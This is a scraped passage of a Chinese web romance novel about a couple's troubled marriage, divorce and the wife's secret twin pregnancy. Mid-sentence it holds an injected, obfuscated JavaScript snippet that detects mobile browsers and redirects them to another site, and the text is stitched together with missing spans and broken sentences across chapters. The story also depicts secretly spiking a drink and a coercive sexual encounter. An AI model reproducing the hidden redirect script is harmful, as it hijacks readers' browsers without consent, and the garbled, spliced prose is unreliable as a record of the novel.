她咬着唇,面上露出几分怯,却又犯倔,宁愿惹他生气自己受苦,也要争取让安安留这儿暂住。 赵叙平瞧她半晌,没搞明白这姑娘哪来的胆子威胁他,目光停在那被她轻轻咬住的唇上。 她的唇极好看,粉里透红,亲着还香软,赵叙平喜欢得紧,忽然就懂了,心说坏了,这姑娘长脑子了,发现自己喜欢亲她,知道拿这事儿对付他。 赵叙平又气又烦,刚想骂她一句,嘴边不知怎么就蹦出另一句:“爱咋咋吧。” 他冷着脸往外走,心里不爽,赌气似的暗下决心,以后天天加班到深夜才回来,回来也晾着她。 一个嘴儿而已,不就是上下两瓣唇么,能有多好亲?不给亲拉倒。 赵叙平大步朝电梯走去,听见孩子奶声奶气叫他。 “叔叔。” 原本没想理会,可他走了两步又停住,淡淡应道:“嗯。” 孩子抱着洋娃娃跑过来,仰起脸蛋:“叔叔,你饿不饿?阿姨做了超香的饭菜,我们等着你回来一起吃呢!” 赵叙平摇头:“不饿。” 孩子笑笑:“那好吧,我们给你留着,什么时候饿了你就来吃哦。” 赵叙平:“嗯。” 他走进电梯,孩子回客厅自己玩儿,上楼那几秒,他也不明白怎么了,心忽然就软下来,想着这小丫头还挺乖,恰到好处的懂事,不多嘴,也不缠人。 周静烟从厨房出来,走到安安身边,轻捏她的脸。 “小家伙饿不饿呀?” 安安往上看一眼,摇了摇头:“烟烟阿姨,我不饿,我等叔叔饿了跟他一起吃。” 周静烟知道这孩子明白自己不受男主人欢迎,所以才这般体贴,处处讨好,心里不由得难受,拉着她去洗手,洗完来到饭厅,将她抱上椅子。 “没事儿,咱俩先吃,我把叔叔的饭菜分出来,等会给他送过去。” 周静烟去厨房又拿了个盘子,每样菜夹出一部分放这个盘里,见安安坐在椅子上看她,不动筷,笑着问:“怎么不吃?” 安安也咧嘴笑了:“我等烟烟阿姨一起吃!姨妈说过,大人动筷子,小孩才可以动筷子。” 周静烟赶忙坐下,夹起一块红烧肉放她碗里:“好了,现在阿姨动筷子了,你也吃吧。” 安安摇头:“不行不行,阿姨动筷是给我夹肉,你先吃一口安安才吃!” 周静烟往嘴里塞一根青菜,冲安安笑了笑,安安这才开始吃她夹过来的红烧肉。 孩子一边吃,一边夸,不住地称赞她厨艺好。 “悄悄告诉你,烟烟阿姨,你做的菜比我外婆和姨妈做的都好吃!” 周静烟乐了:“小马屁精,我这厨艺还是跟你姨妈学的呢,这么快就出师啦?” 孩子并不懂“出师”是什么意思,只知道自己马屁被戳穿,嘿嘿憨笑:“烟烟阿姨做饭最好吃!” 这顿饭吃得开心,周静烟高高兴兴收拾碗筷,让孩子自己歇会儿,嘱咐她什么东西危险不能碰,孩子举起洋娃娃保证:“阿姨放心,我只玩这个,不会做危险的事。” “真乖。”周静烟竖起大拇指,转身去厨房盛了碗饭,和方才留出的菜一起放托盘上给赵叙平送去。 二楼主卧客卧都找过,没见他身影,周静烟上到三楼,推开书房门,见这人在里面看书。 她心情好,没感觉自己多委屈,反倒感激他愿意收留安安暂住,笑盈盈走过去,将托盘放在书桌上。 “今天回来得早,没在外头吃吧?这会儿肚子肯定饿了,赶紧尝尝我做的。”她柔声哄道。 赵叙平眼都没抬,低头盯着书页不作声,似乎极认真,其实自打她来,他就一个字儿也没看进。 周静烟想得开,见他虽然板着脸不理人,可好歹没撵她出去,又笑着说:“多大的人,吃饭还要我喂?” 她端起碗,夹一块小炒肉递他嘴边。 那双薄唇抿成直线,瞧他这副倔样她便忍俊不禁,筷子怼过去,肉片碰了碰嘴:“吃吧,多香呀!” 男人脑袋往旁边移,躲过去,冷冷开口:“不让我碰你的嘴,你也别碰我的嘴。” 周静烟噗嗤笑出声:“小气鬼!” 没想到这么记仇。 周静烟筷子追过去,他又把脑袋往后移,偏就不让她碰到。 她平时挺木的,这会儿灵机一动,想到个招儿。 “真不吃?”周静烟问。 男人还是不理人。 周静烟收回筷子,将小炒肉片放进自己嘴里,半边肉片露在外面,她倾身靠过去,脑袋往他面前凑。 赵叙平正愣着,肉片已经怼上他的唇。 没等脑子反应过来,唇倒先张开,他怔怔吃下肉片,面无表情盯着她,看不出喜怒,耳根子却红透。 “不是,周静烟,你这一天天——” “嗯?”见他忽然收住话,周静烟侧了侧头,睁大眼睛。 一天天的,净琢磨怎么对付我了是么?赵叙平心想,后半句没说出口。 他从她手里拿过碗筷,闷头吃起来。 周静烟坐旁边,胳膊肘抵住桌面,手掌托腮,歪起脑袋目不转睛瞧他。 他被瞧得别扭,抬眸看她一眼,对上那含着笑意的视线。 “你真好。”周静烟张口就夸。 没想到自己哄一哄,耍耍赖,还能让他改变主意。 赵叙平闷不吭声吃完,刚放下碗,她就伸手过来给他擦嘴。 擦一遍不够,又换张纸,来来回回擦好几遍。 “行了,嘴快秃噜皮了。”赵叙平冷脸提醒。 她赶忙收手,娇憨笑道:“你爱干净,多擦擦嘛。”又问:“饱了没有?没饱我再去给你盛些上来。” 赵叙平:“不用。” 她端起托盘欢天喜地往外走:“那不打扰你了哦,早点回来休息,别熬太晚。” 赵叙平低头没接腔,等书房门关上,才掀起眼皮望过去,盯着空空的门口发了会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790769|174675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿呆。 以前从未幻想过婚后生活,因为压根就没打算结婚,决定娶周静烟,也是奔着互相折磨去的,心里清楚,这个婚一结,往后日子跟美好可搭不上边。 没成想这些天过下来,感觉竟还不错。 周静烟做小伏低温柔乖顺那样儿,起先他怀疑是演的,观察一番又不像,再结合梁卓的话想想,赵叙平越发肯定,这姑娘觉着自己找到他这么个靠山,已经谢天谢地了。 早些年她就喜欢他,借着酒劲儿吻他,那迷茫又孤勇的小模样,他到现在都忘不了。 那会儿就喜欢他喜欢得不行,这会儿更是爱他爱得无法自拔——赵叙平心里几分欢喜,面上扯扯唇角,偏要做出嫌弃样子。 安安在这儿住了三天,三个人都没什么不适。 赵叙平早出晚归,几乎见不着安安,偶尔碰上,孩子礼貌跟他打招呼,他点头应一声便走。 态度虽然冷淡,可孩子天生直觉敏锐,能感受到叔叔并不讨厌自己。 安安来的第四天,起得特早,终于跟叔叔阿姨一块儿吃了早饭,趁着叔叔在,赶紧夸道:“叔叔阿姨都好好看呀,颜值这么高,你们生出的孩子一定超级漂亮!” 周静烟刚喝进去的豆浆差点喷出来,抽了张纸巾捂着嘴,咳嗽几声,看向赵叙平。 赵叙平只是愣了愣,什么也没说,默默吃东西。 面上没反应,心里却风起云涌,去公司的路上,他想了一道,满脑子都是安安那句话。 回到办公室,喝杯咖啡静了静,好不容易沉下心准备工作,手机又震起来。 “赵叙平你个王八羔子!你有病啊!老子只是不想生,不是生不出,不需要吃那种药!” 听筒里传来父亲的怒骂,赵叙平一头雾水:“什么跟什么啊?” 连着几天喝那药,赵天成越发感觉不对劲,妻子也很是受不了。 他拿了副没熬的药包找医生朋友一问,才知道这药的具体功效,气得立马打电话痛骂儿子。 “别在这儿装傻!老子不就是以前揍你揍得狠了些吗,至于记仇到现在?再说你这么胡整,最后难受的还不是你妈?你妈现在见着我就躲!还哭着问我是不是因为伊伊没了,想再拼个闺女!” 赵叙平听出那药有问题,但没懂是什么问题,不等他开口问,那头又是一连串骂声轰炸,最后骂完就挂。 赵叙平愣愣握着手机,回想自己喝药后的那些反应,再联想周静烟对他的态度,以及前几天在厨房怨他总躲着她那模样,前因后果串起来,彻底明白怎么回事儿了。 这种损招,除了沈琳,周静烟身边没第二个人想得出。 赵叙平仰头靠着椅背,双手搓了搓脸,气得发笑,只想立即打电话狠狠训周静烟一通,又觉得电话里训不明白,也不够解气。 忍了整个白天,下班还得应酬,赵叙平随便吃几口饭,喝几口酒,胡诌几句借口就离场,回家路上几次催促司机加速。 到家看见周静烟从安安房间出来,赵叙平招了招手,示意她进主卧。 俩人一前一后往里走,没等赵叙平开口,周静烟一拍脑门儿:“对了,我得下去拿个东西!” 她开门跑出去,赵叙平站在原地,憋一肚子火等着发作。 周静烟下楼进到厨房,从冰箱里拿出鲜牛奶倒杯子里,将杯子放进微波炉,用中火热了热,随即打开橱柜,找到之前藏在这儿的药片盒。 小圆盒子里装着一些白色的粉末,周静烟迅速将粉末倒入牛奶中,用勺子搅拌均匀,闻了闻,又尝了很少一丁点,确定这玩意儿融进牛奶无色无味才放心下来。 她稳了稳神,端着杯子回到主卧。 40-50 第41章 第41章【VIP】 婚*前周静烟签过财产协议,若是离婚,分不到赵叙平半点财产。 赵叙平冰冷的目光停在她脸上。这张脸看着像她,又好像不是她。 她平静地与他对视,神情不似从前那般恐惧,只有孤注一掷的决绝。 赵叙平心口堵得慌,怒极反笑:“真要离,你一分钱也得不到。” 周静烟想:给我我也不要。 她看着他,眨了眨眼,点头:“只要能离,什么条件我都接受。” 赵叙平大声哼笑,也点点头:“现在翅膀硬了,够能耐啊。” 周静烟望着他的目光依然平静:“我的翅膀,早被你折断了,不是么?” 大学刚毕业就嫁给他,七年来,不让出去工作,不让出去上课,周静烟觉得自己跟折翼的鸟毫无区别。 赵叙平剑眉微挑,语气略带轻笑:“你应该庆幸,老子当年留你一条命。” 周静烟不作声了。 许久,赵叙平开口:“那些包,首饰,衣服都可以带走。” 周静烟摇摇头,小声说:“谢谢,不用。” 赵叙平又笑起来:“可以啊,硬气。” 周静烟抬眸望向他:“我能走了么?” 赵叙平眯了眯眼:“这么着急,赶着去哪个男人家。” 周静烟心痛得几近窒息,紧攥着手,指甲陷进肉里,骨节撑白,面上似乎没了血色,眼神也是空洞的。 他明知自己却不会有别的男人,他明知自己绝对忠贞…… 他明明知道,却还要这般刺痛她的心。 周静烟很想说,你觉得怎么着就怎么着吧。可是喉咙太堵太痛,什么话也说不出。 赵叙平看她一会儿,忽然拍拍腿,开口命令:“过来。” 她似乎在走神,愣了愣,木然地走过去,坐到他腿上。 赵叙平侧着头仰脸瞧她,问:“还想知道我爱不爱你么?” 她摇摇头,片刻后,又点头。 赵叙平轻声哼笑。 “那你可听好了:我赵叙平,从来,从来,没有爱过你一秒。要不你照照镜子去,看看自己算个什么东西?是长得像天仙儿,还是身材盘靓条顺?退一万步讲,就算你样样都顶好,周知宇害死伊伊,你特么怎么有脸来跟我要爱?” 他顿了顿,扭头冲别处又笑了笑。 “我特好奇,你们周家人怎么都这么不要脸啊。你刚满十八就借着酒劲儿强吻男人,那天晚上在柴房,是不是还打算跟我睡?别是故意勾引我吧?” 他轻轻拍着她脸颊,一下又一下,没使什么力气,可字字句句比手上狠多了,如同一个个巴掌,用力甩在她脸上。 她不敢抬头,不敢对上那双冰冷又凌冽的深邃眼眸,不敢面对他眼里满是讥讽的笑意。 她的目光正好落在他喉结上。 他刻薄她时,喉结偶尔滚动。她耳朵里钻进刀般锋利的话,脑子里冒出自己曾经一回回在床上吻他喉结的画面。 “周静烟。” 她听见他叫她名字,拖着尾音,带着点儿京腔特有的倦怠,语气也有些痞浪。 “挨了老子这么多下,哪个男人敢要你啊?”他笑着问。 周静烟从未想过再找别人。她摇摇头,脑袋一晃便落泪。 不想让他看见自己哭,周静烟将头埋得很低,却被他托起下巴,狠狠往上抬,挂泪的脸庞就这么给他看了个清楚。 赵叙平盯着她的脸看半晌,她脸上已经挂满泪痕,眼泪如同断了线的珠子,总也止不住。 她哭得这样凄惨,他不禁扬起唇角。 “有这么委屈?”赵叙平不信,“七年,老子什么没给你?养不熟的白眼狼,装个什么劲儿?” 周静烟咬破唇不让自己哭出声,到底还是没忍住,张嘴呜呜哭,下唇溢出血珠。 赵叙平捏紧她下巴,弄得她生疼,她摇着头说不出话,眼神哀求,却勾不起他丝毫怜悯,只换来冷漠讥笑。 赵叙平薄唇覆上,捧着她后脑勺不许她逃。 血在彼此口中漫开,她痛到麻木,放弃抵抗,任由他侵占夺取。 周静烟无力地躺在沙发上,泪水溢出眼角,目光呆滞望着天花板上巨大的水晶吊灯。光芒从无数颗水晶中折射,散落满室,可她仿佛置身于无尽黑夜中,望不到头,上不了岸。 黎明破晓,她如同一条奄奄一息的鱼,闭上眼,早已流不出一滴泪。 会儿,用尽力气强撑着身子走进电梯,回主卧冲洗。花,很快,周身起了雾气。 她不停地搓着那些被他留下痕迹的地方,打了许多遍沐浴露,冲了许久许久,情绪忽地涌上来,她慢慢蹲下,抱着自己嚎啕大哭。 头顶下着温暖的雨。花洒,热水,围绕周身的雾气,哪一样都比赵叙平好,哪一… 不知洗了多久,周静烟的手指泡得发白,头,缓慢地抽出叠在悬架上的毛巾,动作机械擦着头发,擦完头 衣服,每走一步那里都扯着疼,只能拖着腿慢慢走。 水珠从发尾滴落,周静烟管不了这么多,没工夫吹头发,只想快些走。 打开门,楼下叮叮咣咣响个不停,她知道,赵叙平在摔东西。 周静烟不敢下去,又将门关上,靠着门板深呼吸。 外面终于消停,周静烟开门听了听,楼下再无动静。 她长舒一口气,下楼,看见满地狼藉。能砸的赵叙平一样也没放过。 行李箱孤零零立在玄关。她走过去,从鞋柜里拿出一双运动鞋,拖着箱子离开。 周静烟在小区外给沈琳打了个电话。 赵叙平的卡她没拿,用他的钱买的贵重物品一样没带,行李箱里装的衣服价格都不算高昂。她手里的钱不超过三位数,若非实在没办法,她也不想麻烦沈琳。 电话里,沈琳听出她鼻音很重,立马反应过来:“跟赵叙平吵架了?” 周静烟吸吸鼻子:“见面再说吧。我在小区门口,现在方便过来接一下吗?” “原地等着,我马上到。”沈琳挂断电话。 七年来,发生太多事。她和沈琳也有了太多变化。 当年得知沈琳嫁给了江东铭,周静烟震惊得说不出话。沈琳私底下告诉她,那会儿真是没招了,总不能怀着孩子天天在会所喝酒吧?让她怀上孩子的人是江东铭,找他要点钱做手术,不过分吧? 没成想江东铭竟会为了孩子跟她领证。 日子鸡飞狗跳过下来,圈里谁都不看好他们这对,谁知他俩倒是细水长流。 沈琳在小区门口接到了周静烟。 她见周静烟面色憔悴,随时都要倒下似的,停好车就下来帮她将行李放进后备箱,扶着她坐上副驾。 “一宿没睡?”沈琳回到驾驶位,扭头看向周静烟。 周静烟垂眸,沉默一小会儿,轻声开口:“我跟赵叙平准备离婚。” 沈琳蓦地愣住,眼睛瞪得老大:“他在外面有人了?” 周静烟摇头:“不是,我提的,他同意了。” 这回沈琳眼睛瞪得比方才还大:“啊?你提离婚,他还能同意!” 周静烟:“本来不同意的,我坚决要离,我俩僵了挺久,他可能觉得这么耗下去也没劲,就同意了。” 沈琳默默消化这事儿,又问:“离婚的话,你跟他争取财产了么?” 周静烟:“没。这些年花了他不少钱,离婚了就跟他没关系了,我不要他的钱。” 沈琳气得直戳她脑门儿:“傻呀你!他赚的钱几辈子都花不完,不要白不要!是不是他不肯给你?” 周静烟:“当初签过协议,离婚我分不到钱。他说以前买的那些名牌包包和珠宝首饰都能带走,我没拿。” 沈琳被她气笑了:“周静烟啊周静烟,你让我说你什么好!什么叫离婚后就跟他没关系?合着你的七年青春,就这么不值钱?好歹你把包包和首饰拿走啊!也能卖不少钱呢!” 周静烟低头不作声。 沈琳长长叹了口气,启动车子:“真服了你这死脑筋!算了,带你去个地方,先在那儿住着。” 沈琳将车开去八公里外一个小区。 前年她在这边买了套复式楼,这里地段也好,房价只涨不跌,她装好了留着以后卖。 沈琳把周静烟行李放进一楼卧室,拍拍箱子:“暂时住这儿吧,反正空着也没人住。” 她这般善良仗义,周静烟羞愧不已,连忙保证:“我尽快找工作,等发了工资,就把房费付你。你按市场价给我算吧,到时候——” 沈琳摆摆手:“打住,周静烟,我叫你打住!咱俩这交情,还收你房费,我也太不够意思了吧!姐妹儿有得是钱,江东铭又给了我新公司股份,现在每天愁的就是怎么花这些钱!” 周静烟:“那也不能——” 沈琳:“不能什么不能?我说能就能。你啊,就在这儿安心住着。你什么人我还不了解?真要是那种占便宜没够的,我还不乐意帮你呢。” 她挽起周静烟胳膊,像上学那会儿也一样,抱着她胳膊夸张地扭了扭身子。 “现在就业情况比以前难多了,你学历不高,专业性不强,一时半会儿未必找得到称心如意的工作。不过别着急,先找找看,找不到我就让江东铭给你开后门,安排进公司,干个文职肯定可以。” 周静烟立马摇头:“别,别,琳琳,我不想走后门。而且我跟赵叙平闹成这样,哪能离婚后进他哥们儿的公司……” 沈琳还想再劝,被她抢在前头开口。 “琳琳,你愿意借我房子住,我已经很感激了。以前我和知宇无家可归,也是住的你家房子。这些年总麻烦你,我真不知道——” “不知道怎么报答啊?拉倒吧你!谁要你报答!赶紧休息吧,好好睡一觉,睡醒了再好好吃一顿,元气满满找工作!” 说完,沈琳给了她一个拥抱,拍拍她后背,转身离开。 周静烟从上午十点,睡到第二天清早。 充足的睡眠让她精神好了许多,身上也不怎么疼了。 她起床一边洗漱,一边思考该怎么找工作。 今年已经二十九了,毕业前干的都是兼职,毕业后连兼职都没再干,这个年纪,这个资历,哪家正经公司会要她? 思来想去,她忽然冒出点子,赶紧发消息问沈琳有没有朋友想找英语家教。 她虽然不是英专生,也没考过什么证,可英语听说读写样样优秀,给幼儿做启蒙教师完全没问题。 沈琳看到消息立马联系了两个宝妈朋友,一问,才知道人家正好都想给孩子找英语幼教。 很快,工作的事便敲定下来,周静烟工作日每天各在一家当半天家教,工作内容也不仅仅是教英语,还得陪孩子玩儿。 两家孩子一个两岁,一个两岁半,都还没上幼儿园,沈琳有些担心,怕她搞不定小家伙,她非但不怕,反而因为喜欢小孩,对工作充满期待。 幸运的是,这两家无论是孩子还是大人,都跟她投缘,相处得愉快又和谐。 周静烟每天工作六小时,每小时赚两百块,每周双休,一个月赚两万多。二月初,她转给沈琳一万五房租,沈琳死活不收,她索性给她和孩子买了几样礼物,总价一万五,亲自送去她家。 这天江东铭不在,孩子也去奶奶家了,沈琳起先不肯要礼物,拗不过她,又知道她什么性子,到底只能收下。 “看你日子越过越好,真为你高兴。”沈琳想起这些年她受的苦,红着眼眶抱了抱她,拉着她去饭厅吃饭。 看见一桌子菜都是自己喜欢的,周静烟知道,沈琳肯定特意跟保姆交代过,按照她的口味做。 她心下感动,含泪望着沈琳,沈琳冲她扬扬下巴,问:“什么时候跟赵叙平办离婚手续?” 她拿起筷子,给沈琳夹一块肉:“排着队呢,也没几天了。” 沈琳知道她酒量不行,倒上一杯低度果酒,递过去,举起自己面前的红酒杯:“恭喜咱们烟烟,即将脱离苦海!” 周静烟淡笑,与她碰了碰杯,仰头正要喝,闻着酒味忽然涌起一阵恶心。 周静烟放下杯子,拍拍胸脯,强压住恶心,准备再试一次,这回唇刚碰到杯口,胃里翻江倒海,恶心感怎么也压不住。 周静烟捂着嘴跑向厕所。 第42章 第42章【VIP】 周静烟趴在洗漱池上,不住地打哕,吐出来后终于感觉好些,拧开水龙头冲洗,又漱了漱口,双手撑在台沿,低头缓了缓。 沈琳轻轻给她拍背,问:“好点儿没?” 她点点头,手捧着水冲了冲脸,纳闷:“怎么还没喝就吐了……” “你那酒没什么度数,口感跟果汁差不多,不至于闻个味道就吐吧。”沈琳也觉得怪,脑中忽然闪过一个念头,眉毛挑得老高,“烟烟,你该不会是……” “嗯?” “怀孕了吧!” 周静烟想都没想立马摇头。 沈琳不知道她体质难怀孕,蹙着眉瞧她片刻,问:“吃东西也想吐么?” 周静烟:“那倒不会,只是闻到酒味就犯恶心。” 沈琳想了想:“兴许是酒的问题。别喝酒了,吃饭吧。” 回到饭厅,周静烟舀一勺鸡蛋羹放碗里,鸡蛋羹上浮着淡淡香油,凑近闻到香油味,又是一阵恶心涌上来,她砰地放下碗,再次跑向厕所。 这回胃里没东西吐了,干呕半天,什么也呕不出,周静烟头晕目眩,眼里含着泪,心中升起恐惧:别是得了什么大病吧…… 沈琳站旁边观察她一会儿,见她不打哕了,问:“闻着鸡蛋味也恶心?” 周静烟洗脸漱口好几遍,深呼吸,答道:“应该是香油味。” 沈琳:“奇了怪了,以前你能吃香油的呀!” 周静烟身子难受,心里更难受,一把抱住她,哭起来:“琳琳,我该不会是得绝症了吧……” 沈琳往她后背拍一掌:“呸呸呸!胡说八道什么呢!要我说,你现在这反应,跟我怀孕那会儿没什么两样。听我的,明天去做个体检,如果没怀孕,顶多也是胃有点小毛病。” 周静烟想着这话也有道理,点头应下。 实在没胃口吃饭,周静烟坐沈琳旁边看着她吃,跟她商量事。 “琳琳,我想重新找个房子住,你那儿太大了,我一个人住着感觉太冷清,晚上有些害怕。” “要不要我给你套小点儿的公寓住?” “不要,你不肯收我房租,我住着心里不舒服。” 沈琳摇头叹气,睨着她笑道:“行,我按市场价收你租金。正好有套公寓在静心路那边,离你上课的两家都近,你搬过去上班也方便。” 周静烟眉开眼笑:“你可真是我的贵人!” 沈琳手伸过去:“姐们儿多有福气呀,来,给你蹭一蹭,分点福气给你。” 周静烟脸贴上她掌心,跟以前读书那会儿一样,猫似的蹭着她的手。 她抬手摸摸周静烟脑袋:“烟烟乖,一切都会好起来的。” 周静烟看着她,用力点头,眼里有泪光,也有希望。 隔天不用上课,周静烟起了个大早,直奔医院做体检,一次检查了好几样,下午去拿检查报告,在大厅打出报告单,最后一张是B超单。 目光落到B超单上的瞬间,周静烟心脏猛地一颤。 她恍恍惚惚走进问诊室,出来时依然恍恍惚惚,脑袋昏沉,双腿发软。 离开医院时,沈琳打来电话,问检查结果出来没,她坐上网约车,瘫软地靠在后座椅背,望着窗外熙熙攘攘的车流和人群,告诉沈琳,身体没大碍,昨天呕吐是因为以前胃部小毛病又犯了,调理一下饮食作息,再吃点药就行。 沈琳总算放心,嘱咐她几句便挂断。 周静烟握着手机,盯着窗外发愣。不久,车停在小区外,司机提醒她下车,她这才回神,失了魂魄似的,木然往家里走去。 回到家,周静烟坐在沙发上,从包里翻出B超单,看了一遍又一遍,脑海中,不断回想医生的话。 她怀孕了,双胞胎,孕龄大概两个月。 算算日子,应该离开御临庄园那晚怀上的。 周静烟起身,头重脚轻走进浴室,洗了个澡,躺床上翻来覆去睡不着。 后天要去办理离婚手续,这个节骨眼怀孕,她实在是进退维谷,不知如何是好。 命运真会开玩笑,要么怀不上,一怀就是俩。 傍晚,周静烟迷迷糊糊睡去。 她做了个美妙的梦,梦里,两个孩子围着她,“妈妈妈妈”叫不停。孩子们很可爱,声音银铃般清脆,她蹲下来,张开双臂抱住他们。 半夜醒来,周静烟的泪,心想:梦里明明那么幸福,怎么还会哭? 人落泪。 ,思前想后,想到天亮,决定瞒着赵叙平,生下孩子。 虽然目前工作不算稳定,但能做一天是一天,一个月赚两万多,也不少了,她自已用不了什么钱,等搬进小公寓,房租不会多高,其他方面再省省,生孩子前肯定能攒下五万块。 春节前三天,周静烟在民。 他穿着一身黑,黑色毛呢外套,黑西裤,黑皮鞋,站在风雪中,没有撑伞,英俊面庞上,神情跟天气一样冷。 周静烟走过去,离近了才看到,他头发上落了雪花。 不知怎么,她忽然下意识想伸手帮他拍一拍头上的雪。 她很快克制住了这个冲动,撑着伞往里走。 领完离婚证出来,周静烟站在门口,仰脸看了赵叙平片刻,轻声说一句:“这些年,谢谢你。” 赵叙平薄唇紧抿,唇角微扬,目光停在她脸上。 她等了好一会儿,没等到他开口,深深吸气,挤出一个笑,主动道别:“再见。” 他依然什么也没说。 周静烟坐进网约车,低头,盯着握在一起的手。 网约车开走许久,赵叙平才坐上自已那辆劳斯莱斯。 他头上落了很多雪,上车后,雪化开,濡湿头发,他往后拢了拢,扭头看向窗外,街景不断倒退,记忆也回到小时候。 小时候,哪里知道将来自已和周家妹妹,会有这样一段爱恨情仇。 手机在兜里震了震,赵叙平掏出一看,周静烟发来消息。 周静烟:【叔叔阿姨出院了吗?我能去看看他们吗?】 离婚后,她对他父母的称呼,也就变了。 车开到公司地下车库,赵叙平才回复:【不必。】 看着赵叙平发来的两个字,周静烟默默流泪,心里想着这些年他父母对她的包容与疼爱,越发觉得对不住一老,分别给他们发去短信,坦白自已已和赵叙平已经离婚,可在她心里,他们依然是如亲生父母般的存在。 公公回复得简短却真诚,感谢她七年来对这个家的陪伴,祝她以后越来越好,并强调若是遇到困难,一定要告诉他们,千万别独自硬扛,他们会尽全力帮忙解决。 深夜,周静烟没有等来婆婆的消息,她有些忐忑,不知婆婆是太生气而不想理她,还是身体不舒服,没法回复。 她叹息着放下手机准备睡觉,手机忽然震动起来。 看着屏幕上的来电备注,周静烟心情复杂,犹豫片刻,接通后,颤声唤道:“妈妈……” 以她现在的身份,本该叫“阿姨”,可这声“妈妈”脱口而出,紧接着,是一阵压抑不住的啜泣。 那头,章芝纭也泣不成声。 哭了一会儿,章芝纭气道:“你给我发的短信里,还管我叫‘阿姨’,怎么着,跟叙平离了,就不要我这个妈了?” 周静烟泪流不止,喉咙堵得发疼,哑着嗓子告诉她,只要她不嫌弃,以后无论过多久,无论自已在哪儿,永远都认她这个妈妈。 打完这通电话,周静烟再无睡意,失眠到天明。 章芝纭同样失眠了。清早,赵天成醒来,见妻子半睁着眼,眼眶红肿,看着她深深叹气。 昨晚妻子夜里跟周静烟打电话,他在一旁装睡,默默听着,挂电话后,妻子小声哭了会儿,等哭声止住,他才安心睡去。 “想静烟了?”赵天成问道。 他一猜就是。 章芝纭坐起来,抹抹泪,哽咽:“其实他俩离了也好。” 赵天成点头:“那是,静烟性子软,这些年没少受委屈。” 章芝纭连声叹气:“她啊,受再多委屈,嘴上都说‘叙平对我挺好的’,好个屁!真要对她好,她能闹着要离婚?她什么样儿我又不是不知道。” 赵天成沉思片刻,说道:“叙平心里肯定是有她的,只是不愿表达,毕竟——” 章芝纭转脸看向他,冷冷打断:“他可别拿伊伊说事儿!一码归一码,这么大个人了,这个道理都不懂?我看他就是好面儿,不好意思挽留,回回闹别扭,总是静烟服软,静烟提离婚,我猜他那狗嘴肯定吐不出什么象牙,净说些戳人心窝子的话,也不知道好好哄人家一下!” 沉默许久,赵天成叹气:“离都离了,说这些也没用。” 章芝纭将手机塞给他:“给你儿子打电话,让他今天来一趟。” 赵天成手机往枕边一放:“你打吧,我听见他声儿就烦。” 章芝纭也烦儿子得紧,皱着眉连连叹气,好一会儿才打过去。 “今天回来一趟。”那边刚接通,章芝纭没好气说道。 “来不了,忙。” 听见儿子嗓音沙哑,章芝纭心里不好受,问:“感冒了?” 赵叙平:“没。” 章芝纭:“熬夜了?” 赵叙平:“确实没睡好。” 章芝纭:“忙不忙今天都得来,我和你爸有事儿问你。” 说完,她立马挂断,愁眉不展看向赵天成。 见妻子眼里又含着泪,赵天成双臂将她圈住,静静抱了她许久。 怕赵叙平不回来,章芝纭每隔三小时打电话催一遍,催得那边火冒三丈,发火归发火,赵叙平耐不住母亲这样磨,到底还是回来了。 回来自然是挨训,父母轮番审问,问他这些年到底做了什么,把周静烟逼成这样。 起先他什么也不说,冷着脸低头,置身事外,仿佛一切与自已无关。 章芝纭骂着骂着就哭了:“当初让你离你不离,七年来,我跟你爸早把人家当成亲女儿,现在又要离,你俩这关系,我就是想劝都不知道该劝!劝人家凑合过,倒真是在害人家!” 赵叙平听完一肚子气,忍不住还嘴:“离婚从来都是周静烟在提,我可从没提过。” 赵天成冷哼:“那孩子我们还不了解?知冷知热知好歹,你甭在这装好人,你要是疼她,她还能吵着要走?” 赵叙平侧头看向父亲,指着自已轻声冷笑:“我不疼她?行,我不疼她。你俩爱怎么说怎么说吧。反正你们仨才是一家。” 他双手揣兜,径直走向电梯,回到楼上自已房间,关门时摔出巨大声响。 天已经黑透。 赵叙平坐在沙发上,架着腿抽烟,想起父母训自已的那些话,气得发笑。 抽完两根烟,赵叙平起身,离开房间走向酒窖。 隔天一早,章芝纭下楼,管家找到她,满脸担忧说道:“夫人,少爷在酒窖喝醉了。” 章芝纭忽地皱眉:“昨晚喝了一夜?” 管家:“不清楚少爷是什么时候过去的,刚才清洁家政去酒窖打扫卫生,看见少爷趴桌上睡着。” 章芝纭立马跟管家来到酒窖,扑鼻的酒味冲得她眉心紧蹙,捏着鼻子看着满地碎玻璃。 这混账东西,不知喝了多少,又摔了多少。 章芝纭看着趴在桌上的儿子,不禁回想起过往的一幕幕,默默叹息,心里想:他若真是对周静烟完全不疼不爱,俩人也走不到七年这么久。 管家和园丁将赵叙平扶回房间,家政保姆收拾酒窖残局。 章芝纭在楼下客厅见到丈夫,告诉丈夫这事儿,犹豫片刻,问:“要不咱们还是劝劝吧?马上春节了,让静烟回来一起过年?” 赵天成望着窗外白雪覆盖的世界,摇了摇头:“你让静烟安心过个年吧,回来不知道人家又得难受多久。” 章芝纭哽咽:“她现在无亲无故的,周知宇还没出来,一个人,怎么过年?” 赵天成:“不是还有个朋友么,唉,你就别操心了,等过完年,你身子再养好些,咱们去看看她。” 章芝纭:“别等过完年了,现在就去!” 赵天成攥住妻子胳膊,无奈苦笑:“外头冰天雪地,我怕你再摔了。” 听到这话,章芝纭深深叹息,后悔又自责。要是自已没出车祸,当时一定能找着儿媳妇,好好安慰一番,劝一劝,说不定这婚就离不了。 她靠在沙发上流泪,哭得累了,闭目休息,不知不觉竟睡去,半小时后忽地惊醒,大喊:“老赵!老赵!” 赵天成急忙赶来:“哪里不舒服?” “我、我——”章芝纭拍着胸脯,提起一口气,愣愣看他片刻,长长呼气,瘫软靠回沙发上,手扶着额头,嘴里念叨,“哎哟,吓死我了,烧到四十度!” 赵天成听懵了:“谁烧到四十度?” 章芝纭:“我孙女!” 赵天成更懵了:“你哪来的孙女?” 章芝纭不作声,过了会儿轻轻叹气,泪汪汪看着丈夫:“梦里。” 第43章 